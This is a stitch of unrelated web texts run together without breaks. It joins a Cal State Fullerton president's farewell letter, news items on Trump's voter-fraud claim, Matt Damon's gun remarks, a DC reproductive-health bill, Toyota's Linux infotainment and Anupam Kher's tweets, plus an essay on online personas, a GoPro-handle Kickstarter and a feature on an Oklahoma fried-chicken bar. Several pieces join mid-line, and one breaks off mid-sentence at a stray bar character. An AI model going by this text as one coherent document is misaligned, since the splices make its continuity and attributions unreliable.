Like “Titans Reach Higher,” there is emotional power to those words that speak to our belief that everyone at Cal State Fullerton — faculty, staff, administrators, alumni, and external partners — are educators. And when you witness firsthand the transformational power your collaborative efforts have on the most important members of the community — the more than 40,000 diverse students we serve — you can’t help but feel a deep connection to and appreciation of those with whom you stand shoulder to shoulder, day in and day out.
You can’t help but feel like family.
And as a family, over the past five and a half years, we came together and flourished in ways that not only honored our now 60-year legacy, but also created a foundation for even greater success over the next 60 years and beyond. Together, we embarked on the University’s first-ever five-year (2013-2018) strategic plan, which has broadened and enhanced the excellent academic programs for which Cal State Fullerton has always been known. As that plan comes to completion in May 2018, we can proudly point to a 30 percent improvement in six-year graduation rates and a 64 percent improvement in four-year graduation rates for first-time freshmen — both university records. We also succeeded in cutting a historically stubborn achievement gap in half for first-time freshmen (from 12 percent to 6 percent) and completely eliminating it for transfer students (from 6 percent to 0). Annual philanthropic gift commitments nearly tripled, and U.S. News & World Report recently heralded the institution as a top “national university,” rather than a “top regional university,” the far narrower category in which we had been previously ranked.
While it is with mixed emotions that I leave the wonderful and dedicated family who made these and so many other achievements possible, my decision to accept the AASCU presidency stems from my belief that our collaborative work should be shared, implemented and enhanced at state colleges and universities around the nation. I leave knowing I will now be representing hundreds of thousands of students from all walks of life at more than 400 outstanding state colleges and universities who will benefit from our success — a journey I would not have had the opportunity or courage to take without all that I’ve learned from my Titan family and the love and guidance they now give me as I take this leap. In this way and so many others, Cal State Fullerton is far more than the preeminent path to upward mobility in Orange County; it is the model public comprehensive university of the nation.
Between now and my departure, we will continue to work collaboratively to position the university for even greater success, and I look forward to sharing that success with the hundreds of institutions that look to Cal State Fullerton to see what is possible. With the Titan family, anything is possible, and I am so proud and honored to call myself part of this one, now and forever.
And therein lies yet another popular Cal State Fullerton saying that ranks up there with “Welcome to the Titan family” and “Titans Reach Higher.” I say it every year at commencement, prompting our more than 10,000 graduates to join me in finishing the phrase to the delight of the crowd. It is, of course, “Once a Titan…Always a Titan,” and as I dab my eyes with tissue, I take comfort in understanding its depth and truth.
Abrazos, and keep Reaching Higher!President Trump's first White House meeting with congressional leaders was, by all accounts, a cordial affair.
But Trump apparently couldn't resist taking a jab across the aisle, telling the gathering of bipartisan leaders that he'd lost the popular vote only because of rampant voter fraud by "illegals," according to a pair of sources familiar with the conversation.
"He said 3 to 5 million 'illegals' voted so that's why he lost popular vote," said a Democratic aide.
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"That's exactly what he said," said a second source familiar with the exchange.
Trump secured his presidential victory by winning the Electoral College vote, 304-227. But his opponent, Democrat Hillary Clinton Hillary Diane Rodham ClintonSanders: 'I fully expect' fair treatment by DNC in 2020 after 'not quite even handed' 2016 primary Sanders: 'Damn right' I'll make the large corporations pay 'fair share of taxes' Former Sanders campaign spokesman: Clinton staff are 'biggest a--holes in American politics' MORE, won the popular ballot by almost 3 million votes.
The dynamics have undermined Trump's claims that the election gave him a mandate to move his policy agenda, which includes undoing large parts of former President Obama's legislative legacy. And Trump has pushed back by publicly claiming that he would have won the popular vote if "illegals" were disqualified.
“In addition to winning the Electoral College in a landslide, I won the popular vote if you deduct the millions of people who voted illegally,” Trump tweeted on Nov. 27.
That verdict has been quashed by state officials and independent fact-checkers. PolitiFact put his charge in the "pants on fire" category.
But Trump's amplification of that claim on Monday suggests the issue remains a sore spot, even after his swearing in.
The White House did not immediately respond to a request for comment Monday.Hollywood actor Matt Damon used a press conference in Australia over the Fourth of July weekend to discuss his desire for a massive confiscation of U.S. guns.
“You guys did it here in one fell swoop [in 1996] and I wish that could happen in my country, but it’s such a personal issue for people that we cannot talk about it sensibly,” Mr. Damon said during a promotional engagement in Sydney for the movie “Jason Bourne.”
The action star went on to say people get too “emotional” when it comes to “not selling AK47s to people on terror watchlists.”
Mr. Damon also discussed the Dec. 12, 2012, massacre in Newtown, Connecticut, where 20-year-old Adam Lanza stole his mother’s legal weapons, killed her and then did the same to 20 children at Sandy Hook Elementary School.
“Obviously, mass shootings aren’t going to do it. There have been so many of them at this point. Sandy Hook, when those children were murdered, if that didn’t do it, you know, I just don’t know. Maybe we just need to evolve further before we can have that conversation, I don’t know,” Mr. Damon said, the Sydney Morning Herald reported Sunday.
“Jason Bourne” is not the only high-profile action star who has made pleas for gun control since the terrorist attack in Orlando, Florida, on June 12 that killed 49 and wounded 43 others.
PHOTOS: Best states for concealed carry — ranked worst to first
Chris Evans, who plays Captain America in Marvel Studios’ popular superhero films, tweeted on June 22, “We need common sense gun reform. And to be clear, NO ONE IS TAKING AWAY GUNS! Just looking for COMMON SENSE reform.”
Universal Pictures’ “Jason Bourne,” the fifth film in the franchise, opens in theaters in North America on July 29. The film is directed and produced by Paul Greengrass.
Copyright © 2019 The Washington Times, LLC. Click here for reprint permission.Where are you the funniest, smartest, most Facetuned version of yourself? This week, the Cut explores the complexities, vanities, and pitfalls of self-presentation online
We’ll call him Michael, and my friend Demi was obsessed with him.
An image search of his name would turn up a nightmarish panoply of “that guy”-ism: Bathroom mirror shots. Whole triptychs dedicated to his bed-mussed hair. Step-and-repeats. What seemed like hundreds of photographs he’d taken of glistening splorts of sea urchin on dickish black flatware.
Demi would vigilantly patrol Michael’s social-media accounts and alert me whenever he committed a fresh new crime against human decency there. Sometimes, he’d try to engage minor celebrities on Twitter. Other times, he’d complain for multiple paragraphs on Facebook about luggage latches. It was horrible.
“This idiot,” she’d text, sending a screenshot of him doing that thing where you pretend to pinch the Eiffel Tower, captioned with 80 hashtags and a sprinkling of teen slang. Or, “Kill yourself already!” she’d write, with a link to something he posted about how a famous person dying had individually affected him.
But Demi loved him. Because he was her boyfriend.
It is part of the modern condition to pose and posture online, and it can be very fun to make fun of the various ways in which people make asses of themselves. But the unfiltered nature and open playing field of social media make it easy to forget that it’s all a performance. In person, Michael was great! Really and truly. His terrible use of social media was part deliberate schtick and part stone-cold, childlike buffoonery, but it was all very lovable. (You know, like Entourage.) Demi adored Michael the person but eventually, she realized that keeping tabs on him made it harder for her to separate the real guy from the Scarlett Johansson Her guy.
The gap between public and private personae used to be the exclusive concern of entertainers, but now anybody who wants to can live Martin. Plenty of prestige bloggery has been devoted to analyzing the phenomenon of “social-media happiness fraud,” which we’ve somehow elevated to Russian-novel levels of agony: Those people posing in bikinis? Don’t feel too envious of them, we’ve been told, for they are dead inside, too.
The ability to “research” people this way has already been catastrophic for casual dating, as we’ve all been forced to reduce other human beings to a series of forensic clues so as not to be murdered or have a boring two hours at a restaurant. While certainly expedient, the newish convention of deciding whether you like somebody before you have ever been in their physical presence is both depressing and a teensy bit unfair. Doing it to people we are already in actual relationships with is bananas and horrible. I’ve had to defend friends to the friends I’m trying to set them up with by saying things like “She’s not like this in person.” It is possible to excessively photograph your cat and be lovely to spend time with. It would be cool if we could just maybe start giving people the benefit of the doubt on this.
I get the impulse to see what the people we’re currently having sex with, or wish we were, are up to. But maybe don’t! Just a thought. Because — surprise! — sometimes, the stuff people do online is fake. We all suck at it, because ultimately, it is pretty dumb. You know that job where you teach people to be good at social media? Not real! Doesn’t exist. There is no being good at social media, because it is a horror show. Being popular online is like being popular in middle school: Congratulations, you’re the king of the worst.
I have friends who have admitted to feeling as though they have entirely different personalities on Facebook and in real life. At first that sounds kind of terrifying and serial-killer-y, but the thing is, it’s understandable. To front is human. The danger here is thinking we know people based on what we know OF them. In Jane Austen’s day, you at least had to be in a room with someone before completely misinterpreting them — now, it’s possible to do that for whole years with people you will never be close enough to touch with a longish stick.
Certainly, part of this is probably very self-serving. I am a comedy writer, and because I am a lazy one, I have for several years enjoyed using social media to make sport of the most shopworn, apocalyptically used-up of dead-horse, unfunny nonjokes: being single. If I were potentially going to go out with me, I would hate this about me. I’d look at my Twitter feed and be like, “Gross, no thanks.” A guy I went out with had such a horror of my heartbreak jokes on Twitter that no amount of explanation could convince him that nothing I said there was (a) real or (b) about him. I realize that it makes me seem vaguely disturbed to tweet about being lonely or having one-night stands while being ensconced in a relationship, but it’s like he had never even heard of Tony Clifton. (Who would not want to be regularly inside a lady Tony Clifton? His loss!)
It was probably one of a zillion factors that broke us up. But — like my pal Demi and her doofy performance-piece shitshow of a boyfriend — he couldn’t ignore that side of me. I wanted to say to him, I’m not that me. I’m other me. Please love the me that is not that me.
And I know what you’re saying to yourself: “Well, the obvious solution here is just to be who you are on the internet and in real life.” Oh, is it? Is that the obvious solution, analogue genius? Because I don’t know how to do that, and I don’t think you do, either.
If you do, please tell me, but just know that our interaction will vary based on your method of contact — so choose whether you’d like to speak to “phone me,” “email me,” “Facebook me,” or that scary voice from The Exorcist.We're excited to be here with our first product, and we're certain that you're going to love our super sleek, low profile GoPro handle -- the GoBall.
If you're reading this, you probably love your GoPro as much as we do. You bring it everywhere and you use it to capture any and every activity. You have a plethora of mounts for every application imaginable, but none feels too comfortable in the pocket or allows for a grip that gives a steady shot. We feel that the compact design of the GoPro should be accompanied by an equally compact handle.
A Brief History
Marco and I are GoPro fanatics and we like to keep it close by -- usually in our back pocket -- so we can capture as much of life's nuances as we can. Our first version was just a cheap DSLR stabilizer handle mated with a GoPro tri-pod mount. It could fit in our pockets, worked great and provided us with months of great footage.
When the GoPro Hero3+ arrived, we knew we wanted something smaller to accompany the more compact size of the new GoPro casing. This was essentially the same handle but smaller. It totally satisfied our needs, but was lacking in aesthetic design.
That's when Marco and I came up with using a spherical handle. We were able to cut down on the overall size even more, yet we maintained a generous surface area for grip. Our first prototype was just a screw in a tri-pod mount with a ball of aluminum foil wrapped around it and then covered in duct tape. As simple as it seems, it really proved our theory to be valid - the spherical handle was the way to go.
We went through the most basic design, had it 3D printed and tested it. It performed great. The grip feels incredibly natural and allows you to pull the camera out of your pocket faster than a Formula 1 pit-stop.
As soon as our final version 3D printed prototype arrived, Marco and I knew that we were onto something and immediately thought about how this could be used by so many GoPro users around the world. We instantly thought about Kickstarter and started talking to manufacturers.
Rewards
Our goal of $5800 covers the bare minimum to produce enough GoBall handles and ship them to all the pledges. This scenario would be a short run of 270 units and we found a Minnesota manufacturer that specializes in short-run, short time-frame production. The way we have scaled this is for the first 100 backers to receive a GoBall for $19 and every backer after that will get one for $23. Both prices make this one of the most affordable GoPro accessories on the market. If we are considerably over-funded, we have plans for GoBall stickers, lanyards, etc that would be given to each backer for free. However, the goal of $5800 provides us with just enough funding to produce a short run of GoBalls.
Technical Information
We knew that high quality, a short turn-around time and good communication with the manufacturer were paramount. We had numerous discussions with multiple factories here in the USA and we refined the design of the GoBall for maximum weight savings, great looks and a design that would be compatible with super-strong ABS plastic injection molding.
At this point we have settled with two different factories for two different scenarios. The factory in Minnesota is if we just scrape by, but if the GoBall turns out to be a big hit, we have also been in contact with a large-scale manufacturer to crank out a boat-load of GoBalls at an equally fast turn-around time.
Speaking of turn-around time, the manufacturing process can take 2-4 weeks depending on the size of the order. Then comes our part -- to send each GoBall out to all of you Kickstarters. We estimate that shouldn't take more than 2 weeks. Adding a 2 week cushion brings us into May. If you've noticed, we indicated in the rewards section that delivery will be June at the latest. We are very confident that we will meet this mark with time to spare. Of course, we will be updating all of you backers of our progress all along the way.
Now that we have all our pieces in place, it's time to see if the GoBall really is what Marco and I think it is - the most usable GoPro handle on the market. Over the last week, we've had a very favorable response on our Instagram account @kickstartgoball, but it's ultimately up to you Kickstarters to see how far this handle will go and how much more footage you'll get out of life. We're excited for the ride!
ChrisWoman with birth control pills (Shutterstock)
Late Thursday night, the House of Representatives voted in favor of “H.J.Res. 43: Disapproving the action of the District of Columbia Council in approving the Reproductive Health Non-Discrimination Amendment Act of 2014.” If enacted, the legislation would make using employer-based health insurance for in vitro fertilization or birth control pills a fireable offense in Washington, D.C.
Planned Parenthood has been mobilizing its network against the bill. “Your boss shouldn’t be able to fire you for using birth control,” the organization states.
Thursday’s House floor debate kicked off after 9:00 PM. Before I entered the doors to the House Gallery, I complied with a police request to forfeit all my electronic devices. I inquired if I could get a press pass so I could take pictures. After a few radio calls, officials on the scene told me I could not have a press pass. So I relinquished my phone and proceeded to go in the Gallery anyway.
Before going through my second metal detector since entering the building, a police officer gave my purse a thorough examination. I had already put my purse through an x-ray machine.
When I entered the Gallery, Delegate Eleanor Holmes Norton (D-DC) was imploring her Republican colleagues not to use the federal authority vested in them by people from other states to overturn local laws in Washington, D.C.
I sat down near D.C. voting rights activists who were attending the hearing and began to take notes on a steno pad. A congressional staffer came over and informed me I was not allowed to take notes.
I witnessed testimony from Representative Tammy Duckworth (D-IL), a combat veteran whose radiation exposure made it difficult to conceive a child. The Congresswoman recently gave birth; she believes in vitro fertility treatments made conception possible for her. H.J.Res. 43, if enacted, would mean a boss who disagrees with in vitro fertilization could fire an employee for getting pregnant that way.
Also on the floor last night, Representative Nancy Pelosi (D-CA) dubbed H.J.Res. 43 “Hobby Lobby on steroids,” Representative Sheila Jackson Lee (D-TX) called for D.C. statehood from the house floor, and numerous Republicans defended “religious freedom.”
I left the hearing a little after 10:00 PM to find a place with CSPAN so I could actually take notes. By the time I got home, the House had voted in favor of H.J.Res. 43.
With support from 225 Republicans and 3 Democrats, the U.S. Congress moved to overturn a democratically enacted law in the District of Columbia for the first time in more than 20 years.
While members of Congress voted last night, Norton could only sit in the chamber and watch. Tweets Roll Call journalist Bridget Bowman:
DC's delegate Eleanor Holmes Norton sits in the chamber as other members vote to block DC law. Norton doesn't have a vote on the House floor
— Bridget Bowman (@bridgetbhc) May 1, 2015
H.J.Res. 43 now goes to the Senate for consideration.
Though its population is greater than that of either Vermont or Wyoming, Washington, D.C. (whose population is about 50 percent black) has limited presidential voting rights, no vote in Congress, and the inability to raise local revenues or pass local laws without Congressional permission.
For over a decade, for example, the U.S. Congress made it a federal crime for the D.C. government to spend locally-raised tax dollars for HIV prevention programming. Today, the District has one of the highest HIV rates in the nation.
Conservative members of Congress regularly engage in legislative hijinks to mess with D.C.’s gun laws.
In July, for example, Senator Rand Paul (R-KY) inserted an amendment into the Bipartisan Sportsmen’s Act would have mostly nullified gun control policies in D.C. (with carve outs for federal buildings, like the Capitol). If Paul had has his way, the U.S. Government would have had the following impacts on D.C. local laws: “repeal registration requirement, end the ban on semi-automatic rifles and high-capacity magazines, expand the right to carry guns outside the home and protect the right to carry guns on federal land in D.C. and elsewhere in the country. In essence, the bill would eliminate the District’s local gun laws, leaving only federal firearms law to regulate gun ownership and use in the city.”
The federal government first permitted the District of Columbia to vote for its own mayor and city council in 1973.Headlines, like alarms, rang out: “Historic Bar Burns in Okarche” and “Famous Eischen’s Called Total Loss.” Crews from Okarche, Kingfisher, Yukon, Piedmont, El Reno, Cashion—even the Federal Correctional Institution at El Reno—fought a blaze that began in one of eight chicken fryers and, before it died, turned an Oklahoma landmark into a blackened, extra-crispy memory.
The only relic from that night is a chunk of the old bar, the one that entered California via Spain during the early 19th century, according to one Henry Hoffman, a restaurant supply guy who’d been trying to get Peter and Nick Eischen to take the thing off his hands for years.
“I remember them moving it in here in pieces,” Ed Eischen said. “The local priest hung it with lights. Twenty-four feet across, before it burned.” [1]
That evening in late January 1993, after the smoke cleared, they iced all the bottled beer that didn’t explode in the blaze and threw a wake for Eischen’s, swapping slugs and stories into the night. All who drowned their sorrows went home with black rings around their mouths from the residue of soot on the last of the longnecks.
***
They greet you at the threshold, the chicken-fried phantasma of finger-lickings past. The dense aroma of cooking oil moistens the air, and a warm glow flickers from wall-to-wall Bud and Coors promotional neon. Green drifts of a sawdust composite called FloorSweep—“Sanitize your floor surface with a pleasant pine scent!”—create a sandy underfoot but keep spitting oil and spilt lager from gumming up the works. The black-and-white Linoleum floor forms a checkerboard where is played out, every weekend, a fast-and-friendly game that, over the years, has seen the house often in the red but lately in the black. The controlled riot of a light-beer Saturday night suggests itself in the sappy (sad and happy?) slogans hanging slightly crooked in their frames, in the empty and inviting blue-green felt of the pool table, and in the classic rock revving up on the sound system, where if they don’t close the bar and the night and the week with “Sunday Morning Coming Down”—“Then I walked across the street / And caught the Sunday smell of someone fryin’ chicken”—they should.
Saturday night must suggest itself because, in fact, it’s a Monday morning when the door opens and Ed Eischen sticks his thick, German, plaid-flannel self into the deep-freezer cold of late December. Another Monday when, more than likely, they’ll fry only a couple of hundred chickens before calling it a day.
The front door of Eischen’s opens onto the restaurant, though Ed is reluctant to call it that. “Day and night’s difference from walking into a restaurant,” he’ll tell you. But let’s call it a restaurant because it’s the room, of all the rooms in Eischen’s, that people who come in primarily to eat, versus primarily to drink, enter. The others enter the door to the south, which opens into the annex, where you can also order chicken, and play video games and take in the Eischen museum, a collection of mementoes arranged in an old meat case, because this side of Eischen’s was an IGA grocery in a past life.
Still, if you Google it, you find two websites: one for Eischen’s chicken, the other for Eischen’s antique bar.
Beer is king at Eischen’s, especially the King of Beers. Beer gear hangs all over the joint, everything from neon in the shape of George Strait’s hat to those kitschy glass pictures featuring 10-point bucks standing near winding, crystal streams. For as long as there has been an Okarche, there have been beer-drinking Germans filling its grain elevators and, afterward, its bars.
Despite claims otherwise, Eischen’s may not be the oldest bar in Oklahoma. When Eischen’s says they have the oldest “bar,” they really mean the bar—the single, ornate, storied piece of the Spanish bar to survive the 1993 fire. That’s the problem with old bars in Oklahoma, if not everywhere. They tend to burn down and get rebuilt and, with them, a new chapter for the history books.
Robert Painter runs the Blue Belle Saloon in Guthrie, which dates back to 1889, seven years earlier than Eischen’s 1896. Painter took over the business in 2013. Before Painter, the Blue Belle was owned by a woman who went by the name Annie Silvers. One thing about Eischen’s: It’s always been Eischen’s.
“I was just there Monday night,” Painter said, tipping his hat. “We’re older than they are, but we’ve been closed a lot of those years. Even after the fire, they opened back up in a year. They are the oldest bar in Oklahoma.”
Who can say? After a century, it’s hard to separate truth from taradiddle. [2]
“During the ‘30s, clear up ’til the late-‘70s, there were three bars in town,” Ed said. “I think it might have went down to two in the ‘60s.” Now there’s one, and Ed believes it was sandwiches—roast beef and barbecue, of all things, and still on the menu—that saved him.
One thing that almost killed him was the King Can Club, a BYOL “bottle club” run on these premises for 17 years, where Billy Kretchmar and the Country Gentlemen were a house act except on a Saturday, when Ed couldn’t touch him, for Billy was on his way to backing Loretta Lynn and moving to Nashville where he changed his name to J. David Sloan. “Lord a’mighty,” Ed said. “It was me and my wife and another gal. They’re taking orders and bussing tables and I’ve got them stacked around the bar wanting drinks and I’m trying to find those goddam bottles.”
The King Can Club—a shotgun marriage of county cousins, Kingfisher and Canadian. Ed lives in Kingfisher County, works in Canadian County and always has. “My front yard is city and my backyard faces the farm, so that’s country.”
***
It’s Oklahoma Avenue that T-bones Main Street and cleaves Okarche in two—Kingfisher to the North, Canadian to the South. Okarche, turns out, is an acronym. Ian Frazier, unknowingly perhaps, wrote it like a puzzle into this paragraph from his Great Plains:
“The Cheyenne, who also once lived in Minnesota, hunted the region of the Black Hills and the central plains. In the early nineteenth century, many Cheyenne moved south, to the present-day Oklahoma and Kansas, so the tribe became the Northern Cheyenne and the Southern Cheyenne. To the west of the Cheyenne were their allies the Arapahos, also divided into Northern and Southern branches, and to the west of the Arapahos, roughly speaking, were the Shoshone, sometimes called the Snakes.”
Okarche is also a crossroads. Jesse Chisholm’s Trail ran roughshod right through it up until the 20th century, when they began moving Texas cattle to Kansas feedlots via the railroad, which separates Main Street Okarche and Eischen’s, Okarche’s claim to fame, from an air-handling manufacturer called Temtrol, Okarche’s biggest employer, run by an uncle of Ed’s who started a meat-lockering business that turned into an industrial heavyweight whose units climate-control the likes of the Devon Tower—not to mention most of the big Vegas casinos, according to cousin Ed.
Okarche has other claims to fame, or infamy. Okarche is where the body of Father Stanley Rother is buried, in Holy Trinity Cemetery out on Oklahoma 81 where, on the day I paid respects, the pre-Christmas ice that had shellacked most of Oklahoma lay thickly on the plastic poinsettias above his marker. The once-brave heart of Father Rother is a relic in the parish of Santiago Atitlán, Guatemala, where Rother was serving when he was gunned down in his rectory in July 1981.
Another man of God, the Reverend Richard Douglass of Putnam City Baptist Church, was murdered alongside his wife outside Okarche, not quite three miles from Holy Trinity Cemetery, in their Shepard Avenue home in sight of the highway. They make movies about such horrors—like Bennett Miller’s Capote, based on Truman Capote’s novel In Cold Blood. And like Heaven’s Rain, directed by Paul Brown and starring Mike Vogel in the role of Reverend Douglass’ son Brooks, who was left for dead but went on to become a state senator. Douglass plays the part of his father in Heaven’s Rain, a film that he also co-produced.
To get to Okarche, you take Oklahoma City’s Northwest Expressway, renamed—part of it, anyway—“Governor George Nigh’s Northwest Passage” in 1981. Opponents of Nigh’s “highway to nowhere” scoffed at his idea of upgrading Oklahoma 3 all the way to Colorado. No doubt, even driving it to Okarche, you feel as if you’re passing into another, nether world.
***
So, which came first, the chicken or the keg?
In an attempt to lure farmers west (and German farmers were considered the best), the Homestead Act of 1862 promised any settler—provided they didn’t fight on the losing side of the Civil War—a free 160-acre section, under the condition he or she stay on it for five years. The Rock Island Railroad brought them here. Thus would the West be won. Peter Eischen was running a saloon and hotel in Minnesota when his family won a lottery in one of the land runs. They were headed to occupy a farm in rural western Oklahoma when they heard of the half-Lutheran, half-Catholic, German settlement of Okarche. Eischens, Heinens, and other families established roots, sending for more family members when they could afford to transport them. Three of Ed’s relatives arrived that way, and they all homesteaded and farmed wheat.
Wheat farmers, German or other, have always known what to do with excess grain. An Okarche Times edition of 1893 displays ads for three saloons. Knowing where its bread was buttered, Anheuser-Busch built an administrative outpost nine miles north in Kingfisher in 1900. Two years earlier, Adolphus Busch, brewery founder, had donated $300 to the college there, creating no small ruckus.
“God forbid that Kingfisher College shall stain her record with blood,” cried the Okarche Woman’s Christian Temperance Union in an editorial published in the Daily Oklahoman, perhaps confusing blood with blood-alcohol.
The college kept the money, and the towns of Kingfisher and Okarche kept the temperance wolves at the saloon door until statehood came and dried everything up until the Dust Bowl days. In Okarche, at Eischen’s, anyway, it seems they’ve been slaking that thirst ever since.
In 1884, Ed’s great-granddad John Heinen opened a general store in Okarche. Two years later, his other great-granddad, Peter Eischen, opened a saloon. “He ran it until 1907,” Ed said, “then statehood put him out of business.”
Oklahoma entered statehood dry by constitution, enacting its own prohibition 13 years before the national ban. The ball got rolling in 1906 with the passage of the Enabling Act, an effort to get both Oklahoma and Indian territories deemed a single state. The act called for freedom of religion and prohibited polygamy. The manufacture and distribution of liquor—by “sale, barter or gift”—was outlawed for 21 years.
The town of Okarche didn’t incorporate until 1905. By then, Eischens had firmly established themselves in a number of ventures. In addition to the saloon, Peter ran a billiards hall into the 1930s, a fact that remained unknown to the family until a few years ago when a local installing a sprinkler system in a flowerbed found a coin stamped “Peter Eischen Billiards.”
The building Eischen’s occupies today was built, Ed believes, in 1902. This is where his granddad Nicholas Eischen and dad Jack set up shop. “They put a grocery store in the frontage looking north, and a bar here in this building looking east. They put in a lunch counter and served roast beef sandwiches, barbecue beef sandwiches, and homemade chili. I’m still using that recipe today.”
That’s half of the current Eischen’s menu.
The rest:
Whole Fried Chicken, $14 (there are no half-orders)
Cheese Nachos, $7
Chili Cheese Nachos, $9
Frito Pie, $6
Fried Okra, $7
Chicken comes with sides of dill and sweet pickles, pickled jalapeños, marinated raw onions, and a basket of sliced white bread. The nachos and Frito pie came in the ‘70s, the okra a decade later when a group throwing a private party brought their own okra with them. Bar customers clamored for the contraband okra enough to force Ed to add it to the menu. Eischen’s does not fry potatoes and never has. Nor do they fry chicken nuggets, no matter how hot they are with the kids.
“I told my rep,” Ed said, “you’ve been in here on a Saturday night. You’ve looked in that kitchen. You think we got time to cook them goddamn chicken poppers? Come on.”
One of the sacrifices made in the name of convenience is the glory of the arrival of a plate of fried chicken on a table. You can eat a bag of poppers and drive at the same time, but you do so blindly, pulling the nuggets from the bag one after another in seven- or nine-count rhythm until the last of the boneless lunch is done and the empty bag is shoved heedlessly into the floorboard. What you can’t do behind the wheel of a car is chew through a deep layer of browned skin and moist meat all the way to a bone that, with any love and luck, you’ll pick clean with greased lips and eager teeth. A bite of Eischen’s fried chicken is a reminder that chicken still has soul.
Your whole fried chicken arrives in a paper boat. Your “plate” is a dozen or so foot-squares of parchment paper stacked on top of each other like phyllo dough in need of honey and nuts. No forks, no knives, no tea, no coffee. The business card claims you can get a wine cooler—from the first wave, not the resurgence that’s washed up products like Seagram’s “Escapes”—but I only saw some pop and more beer—hoards3 of it, as if Eischen’s were distributing Budweiser instead of just purveying it.
Chicken came to Eischen’s like a lot of ideas—that is, not precisely thought-out. “Fried chicken,” Ed said, “started with my brother George. We all worked at the store and did a night or so at the bar. He was the meat-market manager.”
To shore up his meat proceeds, George decided to hold a shuffleboard tournament at the bar on Wednesday nights. He charged competitors a buck apiece to compete. The prize for the champ and runner-up was a fried chicken, which George fried himself on the stove in a cast-iron skillet. Even in 1960-dollars, it seems like a slow way to build up a meat counter. That skillet now resides among the keepsakes in the Eischen’s meat case Hall of Fame.
“He’s like me,” Ed said. “I can’t cook with |
by anticorruption personnel Zhao Lin, the lengthy article questioned the reality of the corruption problems depicted in "House of Cards", "American Gangster" and other TV dramas. The author said these shows come as a surprise to Chinese audiences, because they go against the Western countries' utter pride in the integrity of their governments.
The said article became popular on Tuesday and had stood out from the many headlines featured on the website of the agency. The site contained links to various write-ups about China's recent fight against corruption that was launched 18 months ago by the Communist Party.
"House of Cards" has not only captured the attention of American TV viewers, but the Chinese viewers as well. Some commentators in China see the show as an illustration of the real situation in Washington, while others simply see it as a good TV show.
On Tuesday, commentators have begun trashing Zhao's suggestion of foreign TV shows depicting reality in other countries. They even criticized China corruption problems, saying no other 'dirty politics' could top the one in their own government.
State Information Center senior government researcher Fan Jianping took to his Weibo account his reaction to Zhao's article, citing a famously corrupt Qing Dynasty official. In his post, Fan asked if He Shen's corruption was related to the situation in the West, and went on to say that the official did not relocate his family to Western nations.
One commentator likened Chinese officials to an "unwashed beggar" for criticizing the Western officials for their "unwashed hands."
Another netizens wrote that the corruption in the US can only be seen on TV shows but they can feel their "own corruption in real time."
Meanwhile, Chinese authorities are growing increasingly concerned about their lack of control over their citizens' growing interest in watching imported TV shows such as the "House of Card". The government is worried that people will start dropping state-directed local content in favor of these international shows.
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©2019 Chinatopix All rights reserved. Do not reproduce without permissionTOKYO (Reuters) - Toyota Motor Corp on Wednesday said the infotainment system of its revamped Camry sedan to be sold in the United States will run on a Linux-based, open-source technology platform as it tries to keep up with tech firms in developing software for cars.
FILE PHOTO : Akio Toyoda, president of Toyota Motor Corporation, introduces the 2018 Camry XSE (L) and the 2018 Camry XLE during the North American International Auto Show in Detroit, Michigan, U.S., January 9, 2017. REUTERS/Mark Blinch/File Photo
With the Automotive Grade Linux (AGL) system in a mainstay model, Toyota aims to have the flexibility to customise its software, while it would also keep user data that could otherwise be captured by CarPlay from Apple Inc or Android Auto from Alphabet Inc’s Google - applications which enable users to access smartphone data through vehicle infotainment systems.
Toyota is among 10 global automakers working with suppliers and technology companies to jointly build AGL, a basic, open-source platform for vehicle applications which automakers can customise, eliminating the need to code systems from the ground up for each vehicle model.
Developing the platform in collaboration with Mazda Motor Corp, Suzuki Motor Corp, Daimler AG and others will reduce development time and costs, Toyota said, and create an industry standard platform to operate in-vehicle features including music and navigation applications.
The platform can also be used to support future advanced technologies, including self-driving functions and connected car services.
“It’s very necessary to reduce the overhead of duplication work among our suppliers so they can spend more time to create new things rather than maintaining fragmentary codes,” said Kenichi Murata, group manager of Connected Strategy and Planning at Toyota.
Cars typically require over 100 million lines of computer code as automakers pack as much technology as possible to attract buyers.
So much so that coding has become an increasingly cumbersome part of vehicle development, which takes years, compared with the mere months it takes for tech firms to develop apps.
In addition, the process requires constant updating to keep up with technology developments and which results in disparate interfaces between automaker’s products.
The latest Camry sedan to be launched in coming months will use AGL to operate its suite of in-vehicle apps, and the Japanese automaker said it planned to expand the platform to other Toyota and Lexus vehicles in North America and elsewhere.
Roughly 70 percent of the operating platform for the latest system consists of largely generic coding, while the remaining 30 percent was customized for the Camry, Murata said.
At the moment, automakers make vehicles compatible with CarPlay and Android Auto. While this enables users to connect smartphones to cars, Dan Cauchy, general manager of automotive at the Linux Foundation, said it makes it difficult for automakers to have control over customizing their platforms.
“It comes down to an automaker wanting to customise their operating platform to their liking and not having a third party dictating what the applications are going to be for the vehicle,” he said.
“A lot of automakers want that control.”Bollywood actor Anupam Kher has lashed out at Aamir Khan for saying that he is alarmed by the rising intolerance in India and his wife has suggested that they leave the country for good. Kher posed a number of questions to Khan on Twitter, and asked him to remember that “this country has made you Aamir Khan”.
Anupam has in the past attacked famous personalities who have returned their awards protesting rising incidents of intolerance in India and even held a tolerance march in the national capital. However, when BJP leaders had attacked Shah Rukh Khan for commenting on the “climate of intolerance” in India, Kher had come to SRK’s defence.
Actor Anupam Kher leading a march from India Gate to Rashtrapati Bhavan to protest voices being raised over "intolerance" in the country on November 7. (Hindustan Times)
He didn’t extend the same courtesy to Aamir though. A day after Aamir supported the artists returning their awards and said wife Kiran had suggested they leave the country because she fears for their son, Azad Rao Khan, Anupam wrote, “Dear @aamir_khan. Did you ask Kiran which country would she like to move out to? Did you tell her that this country has made you AAMIR KHAN.”
Dear @aamir_khan. Did you ask Kiran which country would she like to move out to? Did you tell her that this country has made you AAMIR KHAN. — Anupam Kher (@AnupamPkher) November 23, 2015
Anupam, who has been denying that intolerance is on the rise in India, added, “Dear @aamir_khan. Did you tell Kiran that you have lived through more worse times in this country & but you never thought of moving out.”
Dear @aamir_khan. Did you tell Kiran that you have lived through more worse times in this country & but you never thought of moving out. — Anupam Kher (@AnupamPkher) November 23, 2015
He also took a dig at Aamir, who has endorsed the government’s Incredible India campaign in the past, “Dear @aamir_khan. When did ‘Incredible India’ become ‘Intolerant India’ for you? Only in the last 7-8 months? #AtithiDevoBhavah.”
Dear @aamir_khan. When did ‘Incredible India’ become ‘Intolerant India’ for you? Only in the last 7-8 months? #AtithiDevoBhavah — Anupam Kher (@AnupamPkher) November 23, 2015
